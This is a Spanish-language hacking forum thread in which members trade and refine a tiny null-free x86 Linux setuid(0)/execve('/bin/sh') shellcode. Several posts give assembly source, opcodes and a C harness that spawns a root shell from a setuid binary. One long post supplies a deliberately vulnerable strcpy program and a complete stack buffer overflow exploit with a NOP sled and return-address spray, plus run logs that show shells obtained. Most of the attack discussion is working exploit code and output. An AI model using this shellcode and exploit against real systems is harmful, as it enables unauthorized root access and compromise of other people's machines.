Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Todo lo que tengas que decir sobre Gnu/Linux y SSOO alternativos.

Moderador: Moderadores

Notapor ANELKAOS » Mar Nov 25, 2008 4:12 pm

Buenas :)

@Nork Confirmo lo que dice sch3m4 La de 22 bytes solo hace execv, no setuid(0).

@vlan7 las modificaciones que has hecho tu no me funcionan mientras que la shellcode de sch3m4 de 25 bytes si hace un setuid(0) valido con algún apaño ^__^
Échame una firmita en: Imagen
Avatar de Usuario
ANELKAOS
:-)
:-)
 
Mensajes: 37
Registrado: Mié Ene 11, 2006 11:46 pm

Notapor vlan7 » Mar Nov 25, 2008 7:46 pm

No se, tengo la cabeza quemada, y eso no es bueno para mi. Estoy en un FreeBSD. No tengo un linux a mano. Lo tengo sin probar.

Código: Seleccionar todo
[[email protected] /usr/home/vlan7]$ objdump -d p

p:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <.text>:
 8048080:       31 db                   xor    %ebx,%ebx
 8048082:       8d 43 17                lea    0x17(%ebx),%eax
 8048085:       cd 80                   int    $0x80
 8048087:       53                      push   %ebx
 8048088:       68 6e 2f 73 68          push   $0x68732f6e
 804808d:       68 2f 2f 62 69          push   $0x69622f2f
 8048092:       8d 43 0b                lea    0xb(%ebx),%eax
 8048095:       89 e3                   mov    %esp,%ebx
 8048099:       cd 80                   int    $0x80
[[email protected] /usr/home/vlan7]$
Última edición por vlan7 el Vie Jul 09, 2010 3:55 pm, editado 1 vez en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor SLaYeR » Mar Nov 25, 2008 8:45 pm

A mi la anterior de vlan7 si que me funcionaba :? eso sí, después del chown y del chmod.

Salu2!
ImagenImagen "Happy Hacking". Richard Stallman

Cuando la oscuridad nuble tu mente, que la paranoia sea tu guía.

Déjate caer por mi blog
SLaYeR
-<|:·þ
-<|:·þ
 
Mensajes: 2022
Registrado: Lun Sep 12, 2005 9:02 pm
Ubicación: Cuando crees que me ves cruzo la pared...

Notapor vlan7 » Mar Nov 25, 2008 11:03 pm

Desde FreeBSD:

Código: Seleccionar todo
[[email protected] /usr/home/vlan7]$ cat p.asm
global _start
section .text
_start:
;setuid
xor ebx,ebx ;UID
lea eax,[ebx+17h] ;setuid syscall
int 80h
;execve
push ebx ;create string on stack ending with 0
push 0x68732f6e ;sh/n
push 0x69622f2f ;ib// (/////... = /)
lea eax,[ebx+0Bh] ;execve syscall
mov ebx,esp ;pointer to the string
int 80h[[email protected] /usr/home/vlan7]$ nasm -f elf p.asm
[[email protected] /usr/home/vlan7]$ ld -s -o p p.o
[[email protected] /usr/home/vlan7]$ objdump -d p

p:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <.text>:
 8048080:       31 db                   xor    %ebx,%ebx
 8048082:       8d 43 17                lea    0x17(%ebx),%eax
 8048085:       cd 80                   int    $0x80
 8048087:       53                      push   %ebx
 8048088:       68 6e 2f 73 68          push   $0x68732f6e
 804808d:       68 2f 2f 62 69          push   $0x69622f2f
 8048092:       8d 43 0b                lea    0xb(%ebx),%eax
 8048095:       89 e3                   mov    %esp,%ebx
 8048097:       cd 80                   int    $0x80
[[email protected] /usr/home/vlan7]$


Ahi tenemos los opcodes. Yo cuento 25. 25 bytes pues. La mas pequeña a dia de hoy hecha publica (que yo sepa ;)) bien hecha, es decir, hablandole al sistema como hay que hablarle. Si, es una burda merafora de que al sistema hay que darle lo que espera.

A la hora de hacer un exploit, la shellcode es esa. Y punto. Los unicos registros de los que debemos tener precaucion son los implicados en la shellcode en si. Argumentos, etc. Y eso lo define el sistema. Y no hay mas.

Codifiquemosla en C. Ahora me voy a una live de Gentoo (si, he hecho todo esto sin tener linux instalado en casa, y de FreeBSD a linux la manera de llamar a la int 80h cambia).

Código: Seleccionar todo
[email protected] ~ $ cat sc.c
#include <stdio.h>
 
const char sc[]="\x31\xdb"
"\x8d\x43\x17"
"\xcd\x80"
"\x53"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x8d\x43\x0b"
"\x89\xe3"
"\xcd\x80";
 
void main()
{
  printf("\nGrande Nikola Tesla, hacker de la Fisica, aqui tambien seras invisible");
  (*(void (*)()) sc)();
}
[email protected] ~ $ gcc sc.c
sc.c: In function 'main':
sc.c:14: warning: return type of 'main' is not 'int'
sc.c:17:2: warning: no newline at end of file
[email protected] ~ $ su
Password:
livecd gentoo # chown root:root a.out && chmod u+s a.out
livecd gentoo # exit
[email protected] ~ $ ./a.out

[email protected] gentoo # id
uid=0(root) gid=100(users) groups=6(disk),10(wheel),11(floppy),18(audio),19(cdrom),35(games),85(usb),100(users),445(plugdev)
[email protected] gentoo #


Slayer, esa es la prueba normal. ;)

Espero haber aclarado todo un poco, y hacer notar que corren por ahi shellcodes mal hechas... (incluido lo mio!) Asi que, como dirian los guiris:

Take care,
Última edición por vlan7 el Vie Jul 09, 2010 3:56 pm, editado 1 vez en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor NeTTinG » Mar Nov 25, 2008 11:45 pm

Hola:

Creo que se merece un Post-it.

Es un tema que no conviene perder... Se pone muy interesante...

Gracias, chicos, por compartir todo este material ;)

Un saludo.
| Blog NeTTinG | Proyecto Destripando iOS |
_____________________________
Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas. (Albert Einstein)
Todos recaerán en la necesidad de conocer la única y presumible verdad que el gran embudo emana. (Sire Netting)
Avatar de Usuario
NeTTinG
Wadalbertita
Wadalbertita
 
Mensajes: 6270
Registrado: Mar Sep 20, 2005 5:54 pm
Ubicación: Bajo la trampilla del décimo primer piso.

Notapor sch3m4 » Jue Nov 27, 2008 12:36 am

Grave error lo del ebx, aún no sé por qué de todas las veces que miré la tabla de llamadas al sistema de linux, donde ponía cláramente EBX yo seguía pensando ecx.... :/

De todas formas, vlan7, se nos escapó otro detalle, uno de los parámetros de execve, y ya sí que le estaríamos hablando al sistema como hay que hablarle, por tanto ya no son 25 sino 26 bytes :/ Me ha quedado este código al final:

Código: Seleccionar todo
global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
int 80h
;execve("/bin/sh",0,0)
push ebx
push ebx
push 0x68732f6e
push 0x69622f2f
lea eax,[ebx+0Bh]
mov ebx,esp
int 80h


En fin, a tratar de tener la mente más despejada... :/
sch3m4
:-)
:-)
 
Mensajes: 10
Registrado: Lun Nov 24, 2008 11:45 pm

Notapor NewLog » Jue Nov 27, 2008 11:33 am

Bueno, después de todos los retoques hechos y por hacer, la shellcode sigue teniendo 25 bytes.

Además, el código es bastante entendible! Supongo que lo que hace que esta shellcode sea más pequeña que las demás es la instrucción lea, no?

La verdad es que no he encontrado ninguna más pequeña... Hasta he encontrado shellcodes de 40 bytes!!! Como la dben haber programado??? xD

Bueno, gracias ^^
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Notapor vlan7 » Jue Nov 27, 2008 11:36 am

sch3m4, creo que confundes varias cosas.

Primero, confundes argumentos con terminaciones de cadena. Cuando tu metes en la pila un 0 despues de meter la cadena, estas terminando la cadena, no estas pasando ningun argumento. Es asi como el sistema reconoce la cadena en la pila como cadena terminada, sin ese 0 el sistema no sabria donde termina la cadena.

Segundo, el execve que has puesto, pruebalo en un exploit real y no te funcionara.

Veamos por que.

Fijate en como espera el sistema que le mandes un execve. Consultemos syscalls.master

Código: Seleccionar todo
$ grep -i 'execve' syscalls.master
59 STD POSIX { int execve(char *fname, **argv, char **env); }


Como no vamos a pasarle parametros, solo necesitamos saber que es el primer argumento. Es un puntero al comando que queremos ejecutar. En nuestro caso un puntero a /bin/sh

Pero... ¿que pasa en un entorno real? que execve espera que le pasemos los demas argumentos.

Y ahora es cuando me diran "pero si yo pongo en C: execve("/bin/sh",0,0) la cosa funciona". Bien, eso es porque el compilador no es tan tonto como parece, y reconstruye lo que el interpreta que tratas de decirle. Con eso el interpreta que quieres ejecutar /bin/sh sin parametros. Y lo reconstruye. Si no me crees, desensamblalo y me cuentas a ver que obtienes.

Yo para hablarle al sistema como el espera, lo que hice fue un programa en C para ver como demonios resulta eso en ASM.

Código: Seleccionar todo
int main()
{
char *arg[2];

arg[0] = "/bin/sh";
arg[1] = 0x0;

execve(arg[0],arg,arg[1]);
}


Desensamblamos y tras analizar y analizar, vemos que el sistema mete en EBX la direccion de memoria de la cadena del comando a ejecutar. Mete en ECX un puntero a ese puntero de EBX. y mete en EDX un 0. Realmente la cadena nos importa un bledo, lo unico que nos importan son los punteros. De hecho si sabemos donde encontrar esa cadena en memoria y es accesible por nosotros, nos olvidamos de PUSHes de //bin/sh y metemos en EBX esa direccion de memoria, metemos en ECX un puntero a EBX, en EDX un 0, y a tirar millas llamando a execve. Esa seria la shellcode mas pequeña posible.

Que yo sepa, esa idea la hizo publica por primera vez un tal zillion, examinando la seccion .rodata del programa vulnerable y buscando en ella la cadena /bin/sh , mejor dicho, la direccion de memoria de esa cadena. Esto se puede ver en http://packetstormsecurity.org/shellcode/16-reuse.txt

Eso son 16 bytes. Al autor no se le ocurrio que un LEA podria reducirlo a tan solo 15 bytes, pero bueno, lo importante es la idea de la reutilizacion.

Una alternativa a esa idea, es examinar el codigo del programa a explotar en busca de la ansiada cadena /bin/sh o cualquier otra shell.

¿Sigues sin creerme? Intenta explotar un programa con tu shellcode, veras como los registros implicados en lo que el sistema espera en un execve te joden...

Mi nueva propuesta, sin reutilizacion, es esta, funcional explotando un buffer overflow en un entorno real si no equivoco.

Código: Seleccionar todo
;setuid(0)
xor ebx,ebx ;UID /parametro
lea eax,[ebx+17h] ;setuid syscall
cdq ;EDX lo necesitaremos luego como 3er argumento
int 80h

;estas 3 lineas de abajo solo son la cadena
push edx ;terminacion cadena '//bin/sh' (0)
push 0x68732f6e
push 0x69622f2f

mov ebx,esp ;puntero a cadena

push edx ;construimos el array (0=terminador)
push ebx ;puntero a /bin/sh

mov ecx,esp ;puntero al array (segundo argumento)

lea eax,[edx+0bh] ;execve syscall
int 80h


Para terminar, igual hay quien se pregunta el por que de meter en la pila la cadena hs/nib// (codificado en hexa en los 2 PUSHes largos)

Bien. Primero decir que lo metemos al reves, porque luego sale invertido. Segundo, cada porcion de la pila son 4 bytes. Ahi caben 4 caracteres. /bin/sh ocupa 7 caracteres. Y como metamos un nulo, el programa termina inmediatamente al ver el opcode \x00. Luego tenemos un problema. Bien, en *nix barras sucesivas se convierten en una sola barra. Como si quisieramos poner ///////bin/sh , eso equivale a /bin/sh Pero solo nos hace falta rellenar 1 byte hasta llegar a los 8. Asi que metemos //bin/sh al reves con 2 PUSHes.

No soy un experto en shellcodes, lo era en ASM, realmente lo era, aunque en pasado... cuando los virus en DOS, la ingenieria inversa en juegos de DOS, la demoscene en DOS y programacion de videojuegos en DOS. Linux no existia. BSD para x86 menos. Y llevaba años sin jugar con shellcodes. Asi que podria decirse que llevo con shellcodes... mmm 1 semana. jajaja Asi que cualquier idea o correccion bienvenidas sean.

Suerte,

"No he desplegado mis alas para impresionar, he desplegado mis alas para volar"
Última edición por vlan7 el Jue Nov 27, 2008 5:37 pm, editado 1 vez en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor vlan7 » Jue Nov 27, 2008 11:53 am

NewLog escribió:Además, el código es bastante entendible! Supongo que lo que hace que esta shellcode sea más pequeña que las demás es la instrucción lea, no?


LEA, ohhh LEA. LEA es grande amigos.

LEA strikes back

Most of us love the LEA instruction because of its wide usability. One of the possible uses is when it's used to multiply:


LEA EBX,[EBX+EBX*4]

Is it the fastest way in real mode when the upper word of EBX is sometimes useless? Not. The machine code of this instruction is 66,67,8d, 1c,9b. As You can see, it contains TWO prefixes, 66 and 67: both the operand- and address-size prefix. What happens if the first one is missing, like in


LEA BX,[EBX+EBX*4] (67,8d,1c,9b) ?

- the upper word of EBX isn't changed
- instruction is shorter by one byte
- TASM understands this form too :-)
- ...and it's faster!
Let's take a look from the other side:


LEA EAX,[SI]

This does the same as


MOVZX EAX,SI !!!

And it's shorter & quicker in both 16 and 32-bit code... What a pity that only a few register combinations fit between the brackets : [BX], [BP], [SI], [DI], [BX/BP+SI/DI+immediate]. In 16-bit code there's a similar trick, LEA with 16-bit immediate. For example,


LEA EAX,[1234h]

which clears the upper word of EAX too but is shorter than


MOV EAX,1234h.

Hell, TASM doesn't understand the immediate LEA, it must be hardcoded each time.


Extraido de http://home.sch.bme.hu/~ervin/codegems.html

Y esto:

What a pity that only a few register combinations fit between the brackets : [BX], [BP], [SI], [DI], [BX/BP+SI/DI+immediate]

Es realmente una lastima para nosotros, porque hay ciertos registros de segmento superiores como FS o GS que tienen valores diferentes segun el sistema. Que por cierto, eso viene bien para hacer shellcodes multiplataforma, que funcionen en linux y freebsd a la vez, pero eso es otra historia.

Por ejemplo, en linux GS=0. Ese seguro. Y FS estoy casi seguro de que tambien.

Ahora lanzo una pregunta al aire va. Si se puede hacer un LEA de un inmediato de 16 bits... Por que hacemos en una shellcode:

Código: Seleccionar todo
LEA EAX,[EDX+0bh]


en vez de

Código: Seleccionar todo
LEA EAX,[000bh]


Que pone AL=0x0b y los 6 bits superiores de EAX a 0 y gastariamos un opcode menos pues no especificamos ningun registro extra al que sumarle...

¿eh? ¿eh? jejeje

P.D. LEA era buenisimo para hacer una demo en la demoscene o para videojuegos, porque era RAPIDISIMO. Consumia poquisimos ciclos de reloj. Tengo un vago recuerdo del por que, y quizas lo diga mal, pero creo recordar que estaba interconectada esa instruccion en la CPU directamente con los registros en un BUS para ella sola. ¿alguien que recuerde el por que exacto?
Última edición por vlan7 el Jue Nov 27, 2008 12:05 pm, editado 1 vez en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor NewLog » Jue Nov 27, 2008 12:05 pm

Pues no puedo contestar a esta pregunta, sin embargo, apra los que anden más perdidos que yo, en este foro ya discutimos sobre The power of lea ---> Hilo

Ahí tenéis una explicación un poco más básica ;)
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Notapor AnimAlf » Jue Nov 27, 2008 2:36 pm

vlan7 escribió:cuando los virus en DOS, la ingenieria inversa en juegos de DOS, la demoscene en DOS y programacion de videojuegos en DOS. Linux no existia. BSD para x86 menos.


Je, je, por su libre acceso al hardware.

Deberías ser amigo de Amiga, aunque los de ZX a veces no nos entendíamos con los de Comodore, sí había admiración por su ansia de demostrar que podían conseguir más de lo que les decian que la máquina ofrecía.

No estoy de acuerdo con que no existia Linux, si no se trata de anterior al 1991. Cronología Unix ¿Sabias que en el 97 Linux fué reconocido como un Unix sólido y estable. Je, je, me gusta por que fué cuando lo descubrí grácias a la gente de [email protected] con la Slack que instalé sobre una partición fat X'D

Nada, un comentario. SaludoS
En busca del TuXeR perdido
Avatar de Usuario
AnimAlf
<|:-)
<|:-)
 
Mensajes: 628
Registrado: Mar Ago 08, 2006 4:54 am
Ubicación: tgn

Notapor vlan7 » Jue Nov 27, 2008 3:39 pm

AnimAlf escribió:¿Sabias que en el 97 Linux fué reconocido como un Unix sólido y estable. Je, je, me gusta por que fué cuando lo descubrí grácias a la gente de [email protected] con la Slack que instalé sobre una partición fat X'D


jeje si, que podias usar umsdos creo que se llamaba. Y te creaba un directorio visible por DOS, o sea, que desde dos podias borrarlo, o podia ser atacado por virus etc jeje

Y no existian las distros en CDs arrancables (que yo sepa), tenias que andar con _2_ diskettes, arrancabas el sistema con el boot disk y luego tenias que empezar a construir el S.O. con el root disk.

somos dinosaurios Animalf ;) pero yo nunca tuve un Amiga, yo lo tuve despues comprado de segunda mano. Y bueno, empece con un amstrad cpc 464, aunque empece con las microhobbys en serio. :)

saludos,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor SLaYeR » Jue Nov 27, 2008 8:56 pm

vlan7 escribió:somos dinosaurios Animalf ;) pero yo nunca tuve un Amiga, yo lo tuve despues comprado de segunda mano. Y bueno, empece con un amstrad cpc 464, aunque empece con las microhobbys en serio. :)


Es verdad, los dos sois grandes y unas bestias en lo vuestro... ;)
Menuda currada os estais metiendo con la shell...;)

que siga la cosa!
ImagenImagen "Happy Hacking". Richard Stallman

Cuando la oscuridad nuble tu mente, que la paranoia sea tu guía.

Déjate caer por mi blog
SLaYeR
-<|:·þ
-<|:·þ
 
Mensajes: 2022
Registrado: Lun Sep 12, 2005 9:02 pm
Ubicación: Cuando crees que me ves cruzo la pared...

Notapor Popolous » Jue Nov 27, 2008 10:52 pm

SLaYeR escribió:
Es verdad, los dos sois grandes y unas bestias en lo vuestro... ;)
Menuda currada os estais metiendo con la shell...;)

que siga la cosa!


Suscribo, hasta me han entrado ganas de aprender y todo esto de las shellcodes, pero se me hace que tendré que ponerme con ensamblador, a ver si encuentro algún tutorial por ahí bueno...

¡Saludos!
A. Einstein, cabello y violín,
hacemos nuestra última reverencia;
aunque sólo comprendido por dos personas,
él mismo y, a veces, Dios.

Jack C. Rosseter

"Sin direccionamiento Físico, no hay direccionamiento Lógico"

Vikingo dixit
Popolous
Wadalbertita
Wadalbertita
 
Mensajes: 1946
Registrado: Mié Ene 26, 2005 10:40 pm
Ubicación: E=mc^2

Notapor vlan7 » Vie Nov 28, 2008 7:23 am

SLaYeR escribió:que siga la cosa!


A mandar Slayer! Que siga pues... ;)

Algunos direis, "bah, mucha teoria y poca practica, no hay ni un exploit real que explote un programa vulnerable a Buffer Overflow".

Bien, este post va dedicado a todos vosotros. Los que sepais de que va el tema, pues nada, a otra cosa ;)

sch3m4, para ponerte un ejemplo real, tengo aqui 1 programita muy sencillo vulnerable
a buffer overflows, es este:

Código: Seleccionar todo
void vulnerable (char *param)
{
   char buffer[256];
   strcpy (buffer, param);
}
                                                                               
int main (int argc, char **argv)
{
   vulnerable (argv[1]);
   return 0;
}


Y ahora tengo un exploit para ese programita, en el que el experimento que te propongo es que solo cambien nuestras shellcodes:

Código: Seleccionar todo
/*exploit.c*/
#define NOP 0x90
                                                                               
char shellcode[]= /*AQUI LA SHELLCODES*/

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}
                                                                               
int  main(int argc, char *argv[])
{                                                                               
   char *buffer;
   char *pbuffer;
                                                                               
   long *addr_pbuffer;
   long  nop_addr;
                                                                               
   int offset=0;
   int size;
   int i;
                                                                                                                                                               
   size  = atoi(argv[1]) + 100;
   offset = atoi(argv[2]);
                                                                               
   if (!(buffer = malloc(size)))
   {                                                                             
      printf("malloc()\n");
      exit(0);
   }
                                                                               
   /* Direccion aproximada de la zona de NOPs */
   nop_addr = get_sp() - offset;
                                                                               
   /*  direccion de retorno (R):
    *  BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
    */
   pbuffer = buffer;
   addr_pbuffer = (long *) pbuffer;
   for (i = 0; i < size; i+=4)
      *(addr_pbuffer++) = nop_addr;
                                                                               
   /*
    *  NOPs (N)
    *  BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
    */
   for (i = 0; i < size/2; i++)
      buffer[i] = NOP;

   /*
    *  Shellcode (S)
    *  BUFFER: NNNNNNNNNNNN SSSSSSSSSSS RRRRRRRRRR
    */
   pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
   for (i = 0; i < strlen(shellcode); i++)
      *(pbuffer++) = shellcode[i];
                                                                               
   buffer[size - 1] = '\0';
                                                                               
   /* Ejecutamos el exploit */
   execl("./vulnerable", "vulnerable", buffer, 0);
                                                                               
   return 0;
}


Su uso es simple:
-Primer parametro del exploit=tamaño del buffer el programa vulnerable.
-Segundo parametro del exploit=offset

Bien. Ante un programita asi de simple que no cambia registros implicados en la shellcode, todo bien, tanto con tu shellcode como con la mia, lo explotamos. Lo de siempre, ir tanteando la zona de NOPs, ir buscando la zona de NOPs probando offsets:

Código: Seleccionar todo
[email protected] ~ $ ./exploit 256 0
Segmentation fault
[email protected] ~ $ ./exploit 256 600
Segmentation fault
[email protected] ~ $ ./exploit 256 400
sh-3.2$


Ahi estamos! Nuestra ansiada shell! (si el programa fuera SUID, la shell seria de root) Ambos hemos encontrado que la zona de NOPs esta en el offset 400.

Bien, ¿todo bien? NO

Hagamos que ese programa juegue con los registros un poco. Un simple printf bastara para que llene los registros de valores...

Hagamos el programa vulnerable tal que asi, con un simple printf:

Código: Seleccionar todo
/* vulnerable.c */
#include <stdio.h>
void vulnerable (char *param)
{
   char buffer[256];
   strcpy (buffer, param);
}
                                                                               
int main (int argc, char **argv)
{
      printf ("hola holaaaa\n");
                       
   vulnerable (argv[1]);
   return 0;
}


Con tu shellcode:

Código: Seleccionar todo
[email protected] ~ $ ./exploit 256 400
hola holaaaa
Segmentation fault
[email protected] ~ $ ./exploit 256 500
hola holaaaa
Illegal instruction
[email protected] ~ $ ./exploit 256 600
hola holaaaa
Segmentation fault
[email protected] ~ $ ./exploit 256 700
hola holaaaa
Segmentation fault
[email protected] ~ $ ./exploit 256 100
hola holaaaa
Segmentation fault
[email protected] ~ $ ./exploit 256 200
hola holaaaa
Segmentation fault
[email protected] ~ $ ./exploit 256 0 
hola holaaaa
Trace/breakpoint trap
[email protected] ~ $ ./exploit 256 1000
hola holaaaa
Segmentation fault
[email protected] ~ $


No hay manera tio.... :(


Con la mia:

Código: Seleccionar todo
[email protected] ~ $ ./exploit 256 400
hola holaaaa
Segmentation fault
[email protected] ~ $ ./exploit 256 500
hola holaaaa
[email protected] /home/gentoo $


Ahi esta, mi querida shell que bonita ella... esta vez la zona de NOPs era alcanzable en el offset 500. ¿Habiamos probado el offset 500 con tu shellcode? mmm veo que si. Pues eso sch3m4, que en el mundo real, ahi fuera las cosas no son tan sencillas ;)

"Y recordad, hagais lo que hagais, tened cuidado ahi fuera"
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

AnteriorSiguiente

Volver a Gnu/Linux y SSOO alternativos

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado

cron